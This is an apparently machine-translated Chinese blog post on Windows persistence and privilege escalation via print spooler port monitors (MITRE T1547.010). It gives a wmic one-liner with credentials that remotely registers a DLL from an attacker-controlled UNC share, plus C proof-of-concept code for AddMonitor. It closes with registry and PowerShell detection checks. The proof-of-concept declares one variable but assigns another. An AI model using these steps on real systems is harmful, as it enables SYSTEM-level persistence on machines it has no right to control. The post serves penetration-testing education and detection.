Windows通过端口监视器的持久性

Windows通过端口监视器的持久性

这篇文章将涵盖一些快速研究,这些研究是通过研究Port Monitors的Windows持久性技术或Mitre技术T1547.010进行的。此方法还可以用于将特权从管理员(在大多数情况下)提升到SYSTEM。

什么是端口监视器?

端口监视器的上下文(在本文中)与Windows Print Spooler Service或spoolsv.exe有关。当添加打印机端口监视器时,用户(或攻击者)可以添加充当“监视器”的任意dll。

基本上有两种方法来添加端口监视器,也就是您的恶意dll:通过注册表进行持久化,或者通过自定义Windows应用程序(AddMonitor函数)用于立即执行dll。

一个不错的好处是您的dll将作为NT AUTHORITY / SYSTEM执行,因为这是父spoolsv.exe的运行方式。问题是您需要本地管理员priv或至少具有写入注册表的功能。

首先,要坚持下去……

注册表持久性

在HKEY_LOCAL_MACHINE \ SYSTEM \ CurrentControlSet \ Control \ Print \ Monitors配置单元下面是子项端口监视器的列表。每个密钥应具有带有指定DLL的驱动程序的REG_SZ条目。每当您的系统启动时,每个DLL都将作为SYSTEM执行。

从MSDN文档中,Drivers条目中的DLL以及所有随附文件都必须位于C:\ Windows \ System32 \。不一定会在后面找到这种情况。

在这篇文章中,一个简单的dll有效负载用于通过每个示例calc_64.dll弹出calc。对于第一个示例,添加了快速简单的键和驱动程序条目,并且有效负载已经滑入System32中。
端口监视器注册表项
**猜猜重启后会发生什么?**正确,Windows启动顺序最终会启动,导致弹出计算。

磁盘外

在System32中隐藏您的dll可以避免AV / AppLocker问题,因为它是受保护的目录,但是如何将有效负载保留在磁盘之外呢?当然!只需将其扔到攻击者控制的份额上即可。
端口监视器UNC共享
在这种情况下,HosakaHQ共享的共享权限设置为Everyone R + W,因此,当目标启动时,几分钟后会弹出calc。

更好的是,您可以使用Wmic(或WinRM,Remote Registry等)远程添加UNC注册表项,这样就无需弹出初始shell或将任何内容拖放到磁盘上。在下面,域用户johnny在目标10.35.11.20和新共享MaasMesa上具有本地管理员privs。

一线

wmic /node:10.35.11.20 /user:"bama\johnny" /password:Folldalrocks process call create "reg add "HKLM\System\CurrentControlSet\Control\Print\Monitors\Slayer" /v "Driver" /d "\\maasmesa\share\calc_64.dll" /t REG_SZ"

*笔记
像其他帖子一样,如果您正在阅读本节内容并在TheSprawl系列中爆炸了VM,则此处张贴的密码已更改,以免损坏🧙。

行动中*

从一个攻击性的Windows框中运行上述Wmic命令,然后切换到目标框以刷新注册表。
端口监视器远程添加
现在,在重新启动以及几分钟的等待之后,calc由spoolsv.exe启动。
端口监视器远程添加
没什么疯狂的或新鲜的,但是在驻留磁盘(某种程度上)的同时,除了运行键外还有另一种选择。接下来,添加一个端口监视器并实时执行它。

笔记
使用impacket-smbserver.py似乎无法完全正常工作。在这些示例中,使用“所有人”权限的普通加入域的框在使用主机名或IP时都不会出现问题。

AddMonitor()

在系统启动时,也可以使用Win32 API(特别是Print Spooler API的AddMonitor函数部分)立即添加任意监视器DLL。与之前的方法一样,您还需要本地管理员权限才能添加监视器。

这不是一个大问题,但允许您的有效负载:“隐藏”在spoolsv.exe下,有可能不在磁盘上,并以SYSTEM身份运行。这是一个有效负载为共享的poc示例。

#include <windows.h>

int main()
{
    //Build the struct req by AddMonitor
    MONITOR_INFO_2 mon;
    TCHAR name[14] = TEXT("MonitorSlayer");
    TCHAR arch[12] = TEXT("Windows x64");
    TCHAR dll[39] = TEXT("\\\\maasmesa\\share\\calc_64.dll");
    monitorInfo.pName = name;
    monitorInfo.pEnvironment = arch;
    monitorInfo.pDLLName = dll;

    //Add the monitor
    AddMonitor(NULL, 2, (LPBYTE)&mon);
    return 0;
}

编译后,只需在提升的终端中执行即可。

行动中

在下面的示例中,恶意二进制portmon.exe(不要与合法的sysinternals工具混淆!)和有效负载均从MaasMesa共享中执行。还要注意从spoolsv.exe开始的calc.exe。
通过UNC远程添加监视器
这是在Server2019上执行时procmon的快照-spoolsv.exe是父进程。
AddMonitor本地驱动器
有效负载也可以放置在System32外部的磁盘上,只需相应地调整AddMonitor函数即可。

探测

快速的端口监视器持久性检查可以通过查询注册表来完成。

reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Print\Monitors

下面的示例-除了显而易见的以外,所有都是Win10 2004默认值。
AddMonitor本地驱动器
您也可以在PowerShell中放一些正则表达式,以检查网络UNC路径中的dll。可能也是一种快速有用的方法,可以更深入地搜索注册表中是否存在某些远程存在的文件扩展名。

Get-ChildItem -recurse HKLM:\SYSTEM\CurrentControlSet\Control\Print 
|Get-ItemProperty 
| where { $_ -match "\\\\(.*)\\(.*).dll" }

进行更彻底的检查将涉及对dll进行更多调查。可以在PowerShell中轻松完成此操作,但是我将一个粗糙的C#应用​​程序放在一起,它将检查HKLM中找到的每个DLL的一些属性:
HKLM:\SYSTEM\CurrentControlSet\Control\Print\Monitors.
AddMonitor本地驱动器
该应用程序还会检查带有spoolsv父进程的正在运行的进程。

Process Explorer和AutoRuns还将显示进程详细信息和潜在的恶意打印监视器注册表项。我还测试了一个EnumMonitors API,但没有撤回任何新添加的监视器-通过reg&通过AddMonitor API调用添加了。精通Windows编程的人可能会弄清楚。

如果您有详细的日志记录设置,则还可以监视Win32 API对AddMonitor的调用(如MITER所建议)。

总结

如果您发现这篇文章很有用,并且希望获得更多动手进行渗透测试的时间,在撰写本文时,还没有针对Windows持久性的实验室,但是,如果您希望通过Windows / AD获得更有价值的XP,请务必查看TheSprawl。尽管有所建议,但不建议初学者使用TheSprawl。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

GuiltyFet

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值